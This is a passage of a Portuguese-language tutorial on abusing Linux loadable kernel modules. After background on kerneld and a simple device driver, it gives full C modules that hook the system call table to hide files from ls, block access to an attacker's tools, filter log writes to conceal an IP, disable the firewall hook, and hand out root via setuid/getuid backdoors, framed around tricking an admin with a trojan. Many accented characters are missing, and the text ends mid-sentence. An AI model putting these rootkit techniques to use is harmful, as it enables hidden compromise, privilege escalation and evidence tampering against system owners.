int register_blkdev (unsigned int major,  	  |            devices
const char *name, struct file_o perations *fops); | _blkdev => block
int unregister_blkdev (unsigned int major, 	  |            devices
const char *name);				  |
======================================================================

Por favor, lembre-se que algumas funcoes acima podem ser uteis ao metodo
mencionado no I.5. Mas vc precisa entender, isso nao eh muito usado para
construcao em user space como funcao. Mais tarde voce vera q estas funcoes
(especialmente comparacoes de strings) sao muito importantes para nossas
aventuras hehehe....

7. O que eh o Kernel-Daemon

Finalmente estamos perto do fim desta parte basica. Agora eu vou explicar
o funcionamento do Kernel-Daemon(/sbin/kerneld). Como o proprio nome 
diz este eh um processo do user space esperando por alguma acao. Antes
de tudo voce tem q saber o q eh necessario para ativar a opcao kerneld 
no kernel, em ordem para usar as caracteristicas do kernel. Kerneld 
funciona da seguinte maneira: 
Se o kernel quer acessar um recurso(em kernel space eh claro), que nao
esta presente no momento, ele NAO produz erro. Tendo feito issu ele 
pergunta ao kerneld por akele recurso. Se o kerneld estiver apto a
prover o recurso, ele roda o LKM requerido e o kernel pode continuar
funcionando. Usando este esquema eh possivel loadar e desloadar LKMs
apenas quando eles sao realmente necessarios/nao necessarios. Precisa
ficar claro que para issu funcionar tem de ser ambos em user e kernel
space.
Kerneld existe no user space. Se o kernel requisitar um novo modulo este
daemon recebe uma string do kerneel dizendo qual modulo rodar. Eh possivel
q o kernel envie um nome generico(como o nome do arquivo objeto) como
eth0. Neste caso o sistema precisa acessar o /etc/modules.conf para as
linhas alias. Estas linhas trazem nomes genericos dos LKMs requeridos 
nakele sistema.
A seguinte linha diz q a eth0 eh representada pelo LKM DEC Tulip driver:

# /etc/modules.conf          # or /etc/conf.modules - this differs
alias eth0 tulip

Esta foi a maneira em user space representada pelo kerneld daemon. O
kernel space eh representado por 4 funcoes. Estas funcoes sao todas 
baseadas em chamadas do kerneld_send. Para ser mais exato, kernel_send 
eh envolvido com varias chamadas de funcoes no linux/kerneld.h. A 
seguinte tabela lista as 4 funcoes menciodas ai acima:

=====================================================================
              funcao                |            descricao
=====================================================================
int sprintf (char *buf, const char *fmt, ...); |
int vsprintf (char *buf, const char *fmt,      | funcoes para empacotar
va_list args);		         	       | dados em strings
=====================================================================
int request_module (const | diz ao kerneld que o kernel requer um certo
char *name); 		  | modulo (dando o nome o ID/nome generico)
======================================================================
int release_module (const char* name, | unloadar um modulo
int waitflag); 			      |
======================================================================
int delayed_release_module (const char *name); | unload atrasado
======================================================================
int cancel_release_module(const  | cancela uma chamada do 
char *name);                     | delayed_release_module
======================================================================
Nota: Kernel 2.2 usa outro esquema para requisitar modulos. De uma 
olhada na parte V.

8. Criando seus proprios Devices

O apendice A traz o utilitario TTY Hijacking, que usa um device para
logar os resultados. Entao nos temos que olhar um exemplo bastante 
basico de um device driver. Veja o seguinte codigo(este eh um driver
bastaaante basico, eu soh escrevi para demonstrar, ele implementa 
algumas operacoes...): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*just a dummy for demonstration*/
static int driver_open(struct inode *i, struct file *f)
{
 printk("<1>Open Function\n");
 return 0;
}

/*register every function which will be provided by our driver*/
static struct file_operations fops = {
NULL,                 /*lseek*/
NULL,                 /*read*/
NULL,                 /*write*/
NULL,                 /*readdir*/
NULL,                 /*select*/
NULL,                 /*ioctl*/
NULL,                 /*mmap*/
driver_open,          /*open, take a look at my dummy open function*/
NULL,                 /*release*/
NULL                  /*fsync...*/
};


int init_module(void)
{
 /*register driver with major 40 and the name driver*/
 if(register_chrdev(40, "driver", &fops)) return -EIO;
  return 0;
}

void cleanup_module(void)
{
 /*unregister our driver*/
 unregister_chrdev(40, "driver");
}

A mais mais mais importante funcao eh a register_chrdev() que registra 
nosso driver com o maior numero 40. Se vc quer acessar este driver, 
faca o seguinte:

# mknode /dev/driver c 40 0

# insmod driver.o

Depois disso voce pode acessar aquele device(mas eu nao implementei 
nenhuma funcao para issu). A estrutura file_operations traz todas 
funcoes(operacoes) que nosso driver ira trazer para o sistema. Como
voce pode ver eu apenas implementei uma funcao bem basica apenas 
imprimindo alguma coisa. Eh claro quer voce pode implementar seus 
proprios devices de uma maneira bem facil no seu driver usando os
metodos q citei. Apenas faca alguns "experimentos". Se voce logar 
algum dado(curso de chaves por exemplo) voce pode incluir um buffer
no seu driver q exporta isso para a interface do device.

II. Diverso & Lucro 

1. Como interceptar Syscalls 

Agora ns comearemos a abusar dos esquemas de LKM. Normalmente so  
usados LKMs para estender o ncleo (especialmente os drivers de
hardware).  Nossos ' Hacks ' farao algo diferente, eles interceptaro  
systemcalls e os modificaro para mudar o modo que o sistema reage em  
certos comandos. 
O mdulo seguinte faz com q isto seja impossvel para qualquer usurio no  
sistema assumindo compromisso de criar diretrios. Isto  justo, um pouco
demonstrao para mostrar
o modo q ns seguimos. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];       /*sys_call_table is exported, so we
                                     can access it*/               

int (*orig_mkdir)(const char *path); /*the original systemcall*/


int hacked_mkdir(const char *path)
{
 return 0;                           /*everything is ok, but he new systemcall
                                     does nothing*/
}

int init_module(void)                /*module setup*/
{
 orig_mkdir=sys_call_table[SYS_mkdir];
 sys_call_table[SYS_mkdir]=hacked_mkdir;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
                                       one*/
}


Compile este mdulo e o inicie(veja I.1). Tente fazer um diretrio, no  
vai funcionar. Pq de devolver 0 (representando o OK) ns no adquirimos
uma mensagem de erro. Depois de remover o mdulo, fazer diretrios 
novamente possvel. Como voc pode ver, ns s precisamos mudar a entrada
correspondente em sys_call_table (veja I.2) por interceptar um systemcall
de Kernel. A aproximao geral para interceptar um systemcall  esboada 
na lista seguinte: 
 - ache sua entrada de systemcall em sys_call_table [] (d uma olhada em
   include/sys / syscall.h) 
 - salve a entrada velha de sys_call_table[X] em um ponteiro de funo  
   (onde X representa o systemcallnumber que voc quer interceptar) 
 - salve o endereo do novo (hacked) systemcall  que vc definiu fixando 
   sys_call_table[X] para o endereo de funo precisado 

Reconheca que eh muito util economizar o systemcall velho que funciona como 
ponteiro, porque voc precisar disto em seu hacked para emular a chamada  
original.
A primeira pergunta voc tem que enfrentar quando esta escrevendo um '
Hack-LKM ' : 
' Qual systemcall eu deveria interceptar '.
 
2. Syscalls interessantes p/ Interceptar
 
Talvez voc no seja um deus de Kernel e voc no conhece todo systemcall
para toda funo user space q uma aplicao ou comando pode usar. Assim
eu lhe darei algumas sugestes para achar seu systemcall para obter
controle em cima dele. 

a. Leia cdigo fonte. Em sistemas como Linux voc pode ter o cdigo de
   fonte em quase qualquer programa q um usurio (admin) pode usar. Uma
   vez voc achou uma funo bsica como dup, open, write,... v para b  
b. D uma olhada em include/sys/syscall.h (veja I.2). Tente achar um
   systemcall diretamente correspondente (procura para dup - > voc achar
   SYS_dup; procura para write - > voc achar SYS_write;...). Se isto no
   funfa ir p/  c.
c. Algumas chamadas como socket, send, receive,...  implementado por um
   systemcall - como eu disse antes. D uma olhada ao arquivo 'include'
   mencionado para systemcalls relacionado. 

Caso  se lembre toda funo de C-lib  um systemcall! A maioria das funes  
totalmente sem conexo a qualquer systemcalls! Hackers um pouco mais
experiente deveriam dar uma olhada no systemcall que lista em I.2 que
prov bastante informao.
Deveria fikar claro que a administrao de ID d usuario eh implementada
pelos uid-systemcalls etc. Se voc realmente quer estar seguro vc tb pode
dar uma olhada nas fontes das library's e Kernel fontes. O maior problema
eh um admin que escreve suas prprias aplicaes por conferir integridade
e segurana do sistema. O problema que existe nesses programas  a falta
de cdigo fonte. Ns no podemos dizer como este programa funciona
exatamente e quais systemcalls ns temos que interceptar para esconder  
nossas ferramentas presentes. Pode ser at mesmo possvel que ele
introduza um LKM que esconde quais utenslios utiliza igual um
systemcalls feito pelo hacker para conferir a segurana do sistema (os
admins usam freqentemente tcnicas de hacker para defender o 
sistema deles...). Assim como ns fazemos.

2.1 Achando systemcalls interessantes (o strace aproximam) 

Digamos que voc sabe q o programa do super-admin confera o sistema (isto
pode ser feito de algum jeito, como TTY Hijacking (veja II.9 / Apndice
A), o nico problema  que voc precisa esconder seus feitos do programa
do super-admin at aquele ponto..).  
Assim rode o programa (talvez voc tem que ser root para executar
isto) usando strace. 

# strace super_admin_proggy 

Isto lhe dar uma resposta realmente agradvel de todo systemcall feito
por aquele programa inclusive os systemcalls que podem ser adicionados
pelo admin pelo LKM dele (eh possivel).
Eu nao tenho um super-admin-proggy de amostra para lhe mostrar uma
resposta, mas olhe a resposta pega por um 'strace whoami' : 

execve (/usr/bin/whoami ", [whoami "], [/ * 50 vars * /]) = 0 
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40007000 
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
stat (/etc/ld.so.cache ", {st_mode=S_IFREG|0644, 
st_size=13363,...}) = 0
open("/etc/ld.so.cache ", O_RDONLY) = 3 
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 
close(3) = 0 
stat (/etc/ld.so.preload ", 0xbffff780) = -1 ENOENT (No such file or directory) 
open("/lib/libc.so.5 ", O_RDONLY) = 3 
read(3, \177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3 "..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 
0x4000c000 
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 
close(3) = 0 
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 
munmap(0x40008000, 13363) = 0 
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 
personality(PER_LINUX) = 0 
geteuid () = 500 
getuid () = 500 
getgid () = 100 
getegid () = 100 
brk(0x804aa48) = 0x804aa48 
brk(0x804b000) = 0x804b000 
open("/usr/share/locale/locale.alias ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=2005,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40008000 
Read(3," #nome de lugar pseudnimo base\n de dados #"..., 4096) = 
2005
brk(0x804c000) = 0x804c000 
read(3,"", 4096) = 0 
close(3) = 0 
munmap(0x40008000, 4096) = 0 
open("/usr/share/i18n/locale.alias ", O_RDONLY) = -1 ENOENT 
(No such file or directory) 
open("/usr/share/locale/de_DE/LC_CTYPE ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=10399,...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 
close(3) = 0 
geteuid () = 500 
open("/etc/passwd ", O_RDONLY) = 3 
fstat(3, {st_mode=S_IFREG|0644, st_size=1074,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x4000b000 
read(3, root:x:0:0:root:/root:/bin/bash\n "..., 4096) = 1074
close(3) = 0 
munmap(0x4000b000, 4096) = 0 
fstat(1, {st_mode=S_IFREG|0644, st_size=2798,...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x4000b000 
write(1, r00t\n ", 5r00t, 
)                   = 5
_exit(0) =? 

Isto eh uma lista muito agradvel de todo o systamcalls feito pelo
comando ' whoami ', no ? H 4 systemcalls interessante para interceptar
para manipular a produo de ' whoami ' 

geteuid () = 500 
getuid () = 500 
getgid () = 100 
getegid () = 100 

D uma olhada em II.6 para uma implementao daquele problema. Deste modo
de programas de analysing tambm  muito importante dar uma olhada rpida
em outras ferramentas standards. Eu espero que agora voc possa achar
qualquer systemcall que possa lhe ajudar a se esconder ou s para uma
backdoor no sistema, ou tudo que que voc quer. 

3. Confundindo o kernel's System Table
 
Em II.1 voc viu como ter acesso a sys_call_table que  exportado pela
kernel symbol table. Agora pense nisto... Ns podemos modificar qualquer
item exportado (funes, estruturas, variveis, por exemplo) tendo acesso
dentro de nosso mdulo. Qualquer coisa listada no /proc/ksyms pode ser
corrompida. Lembre-se que nosso mdulo no pode assumir compromisso de
caminho ou canal, porque ns no exportamos nenhum smbolo. Aqui esta um
pedacinhu de meu arquivo /proc/ksyms, soh para lhe mostrar o que voc pode
modificar de fato. 

...
001bf1dc ppp_register_compressor 
001bf23c ppp_unregister_compressor 
001e7a10 ppp_crc16_table 
001b9cec slhc_init 
001b9ebc slhc_free 
001baa20 slhc_remember 
001b9f6c slhc_compress 
001ba5dc slhc_uncompress 
001babbc slhc_toss 
001a79f4 register_serial 
001a7b40 unregister_serial 
00109cec dump_thread 
00109c98 dump_fpu 
001c0c90 __do_delay 
001c0c60 down_failed 
001c0c80 down_failed_interruptible 
001c0c70 up_wakeup 
001390dc sock_register 
00139110 sock_unregister 
0013a390 memcpy_fromiovec 
001393c8 sock_setsockopt 
00139640 sock_getsockopt 
001398c8 sk_alloc 
001398f8 sk_free 
00137b88 sock_wake_async 
00139a70 sock_alloc_send_skb 
0013a408 skb_recv_datagram 
0013a580 skb_free_datagram 
0013a5cc skb_copy_datagram 
0013a60c skb_copy_datagram_iovec 
0013a62c datagram_select 
00141480 inet_add_protocol 
001414c0 inet_del_protocol 
001ddd18 rarp_ioctl_hook 
001bade4 init_etherdev 
00140904 ip_rt_route 
001408e4 ip_rt_dev 
00150b84 icmp_send 
00143750 ip_options_compile 
001408c0 ip_rt_put 
0014faa0 arp_send 
0014f5ac arp_bind_cache 
001dd3cc ip_id_count 
0014445c ip_send_check 
00142bc0 ip_forward 
001dd3c4 sysctl_ip_forward 
0013a994 register_netdevice_notifier 
0013a9c8 unregister_netdevice_notifier 
0013ce00 register_net_alias_type 
0013ce4c unregister_net_alias_type 
001bb208 register_netdev 
001bb2e0 unregister_netdev 
001bb090 ether_setup 
0013d1c0 eth_type_trans 
0013d318 eth_copy_and_sum 
0014f164 arp_query 
00139d84 alloc_skb 
00139c90 kfree_skb 
00139f20 skb_clone 
0013a1d0 dev_alloc_skb 
0013a184 dev_kfree_skb 
0013a14c skb_device_unlock 
0013ac20 netif_rx 
0013ae0c dev_tint 
001e6ea0 irq2dev_map 
0013a7a8 dev_add_pack 
0013a7e8 dev_remove_pack 
0013a840 dev_get 
0013b704 dev_ioctl 
0013abfc dev_queue_xmit 
001e79a0 dev_base 
0013a8dc dev_close 
0013ba40 dev_mc_add 
0014f3c8 arp_find 
001b05d8 n_tty_ioctl 
001a7ccc tty_register_ldisc 
0012c8dc kill_fasync 
0014f164 arp_query 
00155ff8 register_ip_masq_app 
0015605c unregister_ip_masq_app 
00156764 ip_masq_skb_replace 
00154e30 ip_masq_new 
00154e64 ip_masq_set_expire 
001ddf80 ip_masq_free_ports 
001ddfdc ip_masq_expire 
001548f0 ip_masq_out_get_2 
001391e8 register_firewall 
00139258 unregister_firewall 
00139318 call_in_firewall 
0013935c call_out_firewall 
001392d4 call_fw_firewall 
...

Veja a funcao call_in_firewall logo acima, esta  uma funo usada pela
administrao de firewall no Kernel. O que aconteceria se ns
substitumos esta funo com um falso? 
D uma olhada no LKM seguinte: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*get the exported function*/
extern int *call_in_firewall;

/*our nonsense call_in_firewall*/
int new_call_in_firewall()
{
 return 0;
}

int init_module(void)                /*module setup*/
{
 call_in_firewall=new_call_in_firewall;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
}

Compile e carregue este LKM e de um 'ipfwadm -I -a deny'. Depois disto
faa um ' ping 127.0.0.1 ', seu Kernel produzir uma bela mensagem de
erro, porque a funo chamada (call_in_firewall(...)) foi substituda por
um falso (voc pode saltar a instalao de firewall neste exemplo). Este
 um modo bastante brutal de matar um smbolo exportado. Voc tambm
poderia desmontar (usando gdb) um certo smbolo e modificar certos bytes
que mudariam o funcionamento daquele smbolo. Imagine q uma construcao IF
THEN fosse usada em uma funo exportada. Imagine desmontar esta funo e
procurar comandos como JNZ, JNE,... Deste modo voc poderia consertar
itens importantes. Claro que, voc pde ver as funes no Kernel / module
sources, mas quando se trata de smbolos voc no pode adquirir a fonte
para olhar porque voc s adquiriu um mdulo binrio. Aqui o
desmontar(disassembling)  bastante interessante. 

4. Relativo a Filesystem Hacks

A caracterstica mais importante no LKM hacking  o eskema para esconder
alguns itens (suas faanhas, sniffer (+logs), e assim por diante) no
filesystem local. 

4.1 Como Esconder Arquivos
 
Imagine como um admin achar seus arquivos: Ele usar ' ls ' e v tudo. 
Para akeles que no conhecem isto, strace com ls q mostrar p/ voc qual
o systemcall usado para adquirir uma listagem de diretrio :

int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);

Assim ns sabemos onde atakar. No seguinte espetculo de pedacos de
cdigo os systemcalls de hacked_getdents foram adaptados de AFHRM (de
Michal Zalewski). Este mdulo pode esconder qualquer arquivo de um ls e
todo programa que usa systemcall de getdents. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int (*orig_getdents) (uint, struct dirent *, uint);

int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;
 char hide[]="ourtool";                       /*the file to hide*/

 /*call original getdents -> result is saved in tmp*/
 tmp = (*orig_getdents) (fd, dirp, count);

 /*directory cache handling*/
 /*this must be checked because it could be possible that a former getdents
 put the results into the task process structure's dcache*/
#ifdef __LINUX_DCACHE_H
    dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    dinode = current->files->fd[fd]->f_inode;
#endif

 /*dinode is the inode of the required directory*/
 if (tmp > 0) 
 {
  /*dirp2 is a new dirent structure*/
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  /*copy original dirent structure to dirp2*/
  memcpy_fromfs(dirp2, dirp, tmp);
  /*dirp3 points to dirp2*/
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) 
  {
   n = dirp3->d_reclen;
   t -= n;
   /*check if current filename is the name of the file we want to hide*/
   if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
   {
    /*modify dirent struct if necessary*/
    if (t != 0)
     memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
    else
     dirp3->d_off = 1024;
    tmp -= n;
   }
   if (dirp3->d_reclen == 0) 
   {
    /*
     * workaround for some shitty fs drivers that do not properly
     * feature the getdents syscall.
    */
    tmp -= t;
    t = 0;
   }
  if (t != 0)
   dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getdents]=orig_getdents; 
                                       
}

Para novatos: leia os comentrios e use seu crebro por 10 mins.  
Depois disso continue lendo.
Este Hack  realmente til. Mas lembre-se que o admin pode ver seu arquivo
tendo acesso a isto diretamente. Assim um  'cat nossaferramenta' ou 'ls
nossaferramenta' lhe mostrar nosso arquivo. Nunca use qualquer nome
trivial para suas ferramentas. Como sniffer, mountdxpl.c,.... Claro que
existem maneiras melhores de tentar impedir um admin de ler nossos arquivos, 
continue lendo. 

4.2 Como esconder os contedos de arquivo (totalmente) 

Eu nunca vi uma implementao que realmente faca isto :). Claro que muita
gente gosta do FHRM por Michal Zalewski para se basear em seus LKMs, que 
controla os contedos e apagua funes mas realmente nao esconde o
contedo. Eu suponho existem muitas pessoas que usam estes mtodos e de
fato e gostam disto, mas ningum escreveu isto, assim como eu fao.
Deveria estar claro que h muitos modos de fazer isto. O primeiro modo 
muito simples, Apenas interceptar um systemcall aberto que confere se
filename  a 'nossa ferramenta'. Nesse caso negue qualquer open-attempt ,
assim ninguem  podera ler, escrever, ou tudo q eh possivel de se fazer.
Implementemos este LKM: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_open)(const char *pathname, int flag, mode_t mode);


int hacked_open(const char *pathname, int flag, mode_t mode)
{
 char *kernel_pathname;
 char hide[]="ourtool";
 
 /*this is old stuff -> transfer to kernel space*/
 kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);

 memcpy_fromfs(kernel_pathname, pathname, 255);

 if (strstr(kernel_pathname, (char*)&hide ) != NULL)
 {
  kfree(kernel_pathname);
  /*return error code for 'file does not exist'*/
  return -ENOENT;
 }
 else
 {
  kfree(kernel_pathname);
  /*everything ok, it is not our tool*/
  return orig_open(pathname, flag, mode);
 }
}


int init_module(void)                /*module setup*/
{
 orig_open=sys_call_table[SYS_open];
 sys_call_table[SYS_open]=hacked_open;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_open]=orig_open;                                      
}

Isto funciona muito bem, issu faz com q qualquer um q tente ter acesso aos 
nossos arquivos, ache q eles nao existem. Mas como fazer entaun para ns 
termos acesso a esses arquivos. 
Bem h muitos modos...

  - Implemente um magic-string
  - Implemente uid ou gid check (requer ter criado uma certa conta) 
  - Implemente um cheque de tempo 
  - ...

H milhares de possibilidades e eh tudo muito fcil de se implementar, 
assim eu deixo isto como um exerccio para o leitor. :)

4.3 Como esconder certas partes do arquivo (prototico de implementao) 

Bem, o mtodo mostrado em 3.2  muito til para nossas prprias
ferramentas e Logs. Mas nao seria interessante modificar admin e outros
arquivos de usurio tb? Imagine voc q quer controlar /var/log/messages
para entradas que contenham o seu ip ou dns.
Todos ns conhecemos milhares de backdoors que escondem nossa identidade
de qualquer logfile importante. Mas isso quando se trata de um LKM q
simplesmente filtra toda entrada de dados no arkivo.
Se este arkivo contm qualquer dado que comprometa nossa identidade 
(IP, por exemplo) ns negamos que isso escreva (ns simplesmente
pularemos isso) A implementao seguinte  apenas outro (!!) prottipo
bsico (!!) LKM, s p/ mostrar isto. Eu nunca vi isto antes, mas como em
3.2 pode haver algumas pessoas que usam isto ha anos.

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_write)(unsigned int fd, char *buf, unsigned int count);

int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
 char *kernel_buf;
 char hide[]="127.0.0.1"; /*the IP address we want to hide*/
 
 kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

 memcpy_fromfs(kernel_buf, buf, 999);

 if (strstr(kernel_buf, (char*)&hide ) != NULL)
 {
  kfree(kernel_buf);
  /*say the program, we have written 1 byte*/
  return 1;
 }
 else
 {
  kfree(kernel_buf);
  return orig_write(fd, buf, count);
 }
}

int init_module(void)                /*module setup*/
{
 orig_write=sys_call_table[SYS_write];
 sys_call_table[SYS_write]=hacked_write;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_write]=orig_write;                                      
}

Este LKM tem vrias desvantagens, no confere o destino de onde isto eh usado
(pode ser conferido por fd; prossiga lendo para uma amostra). Isto significa 
q at mesmo um 'echo'127.0.0.1'' ser imprimido. Voc tambm pode modificar 
a string que deveria ser escrita, de forma que isto mostre realmente um 
endereo IP de algum q voc "gosta"...
Mas a idia geral deve ter fikado clara.

4.4 Como redirecionar operaes de monitores de arkivos

Esta idia  velha, e foi implementada primeiro por Michal Zalewski em
AFHRM. Eu no mostrarei nenhum cdigo aqui, porque  muito fcil de se
implementar (depois de lhe mostrar II.4.3/II.4.2). Lah so muitas coisas
que voc pode monitorar atravs de redirecionamento de eventos do filesystem:
 
  - algum escreve a um arquivo -> cpia os contedos para outro arquivo 
    => isso pode ser feito com sys_write(...) redirection 
  - algum pde ler um arquivo de sensitve -> monitor de arkivos que l
    de certos arquivos => isso pode ser feito com sys_read(...) redirection 
  - algum abre um arquivo ->  ns podemos monitorar o sistema inteiro
    para tais eventos => intercept sys_open(...) e escreve arquivos
    abertos a um logfile; este  um modo AFHRM q monitora os arquivos de
    um sistema (veja IV.3 para fonte) 
  - vnculo / unlink eventos -> monitora tudo q o vnculo criou 
    => intercept sys_link(...)  (veja IV.3 para fonte) 
  - mencione novamente eventos -> monitora todo arquivo menciona
    novamente evento => intercept sys_rename(...) (veja IV.4 para fonte) 
  - ...

Estes so pontos muito interessantes (especialmente p/ admins) porque
voc pode monitorar um sistema inteiro para mudanas de arquivo. Na minha
opinio seria tambm interessante monitorar arquivo / diretrio criaes
que usam comandos parecidos com 'touch' e 'mkdir'.
O comando 'touch' (por exemplo) no usa open para o processo de
criao; um strace nos mostra para o seguinte que lista (excerto): 

...
stat (ourtool ", 0xbffff798) = -1 ENOENT (No such file or directory)
creat (ourtool ", 0666) = 3 
close(3) = 0 
_exit(0) =? 

Como voc pode ver os usos de sistemas o systemcall sys_creat(..) criar
arquivos novos. Eu acho que no  necessrio apresentar um source, pq
esta tarefa  muito trivial e s intercepta sys_creat(...) e escreve todo
filename no logfile com printk(...).  
Este  o jeito em q o AFHRM loga qualquer evento importante. 

4.5 Como evitar qualquer problema de dono de arquivo

Este Hack no s  relacionado a filesystem , tambm  muito importante
para problemas de permisso gerais. Tenha uma suposio que systemcall
para intercept. Phrack (plaguez) sugestiona enganchando 
sys_setuid(...) com um magic UID. Isto significa que sempre que um 
setuid  usado com esta magic UID, o mdulo fixar o UIDs para 0 
(SuperUser). Vejamos a implementacao(E ele mostrar s o systemcall
hacked_setuid): 

...
int hacked_setuid(uid_t uid)
{
    int tmp;
    
    /*do we have the magic UID (defined in the LKM somewhere before*/
    if (uid == MAGICUID) {
    /*if so set all UIDs to 0 (SuperUser)*/
	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*o_setuid) (uid);
    return tmp;
}
...

Acho que o truque seguinte tambm pode ser muito til em certas situaoes.
Imagine a situao seguinte: Voc d um trojan ruim para um (muito tolo) 
admin; este trojan instala o LKM seguinte naquele sistema [e no implementou 
caractersticas de ocultamento , s um prottipo de minha idia]: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->uid=500) {
    /*if its our UID -> this means we log in -> give us a rootshell*/
    	current->uid = 0;
	current->euid = 0;
	current->gid = 0;
	current->egid = 0;
	return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getuid=sys_call_table[SYS_getuid];
 sys_call_table[SYS_getuid]=hacked_getuid;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getuid]=orig_getuid;                                      
}

Se este LKM est carregado em um sistema que ns somos s um usurio normal, No login
nos daro um rootshell agradvel (o processo atual tem SuperUser). 

4.6 Como fazer um unaccessible hacker-tools-directory 

Para hackers  freqentemente importante fazer o diretrio, eles usam
para as ferramentas deles (hackers avanados no usam o filesystem local
regular para armazenar os dados deles). Usando a aproximao de getdents
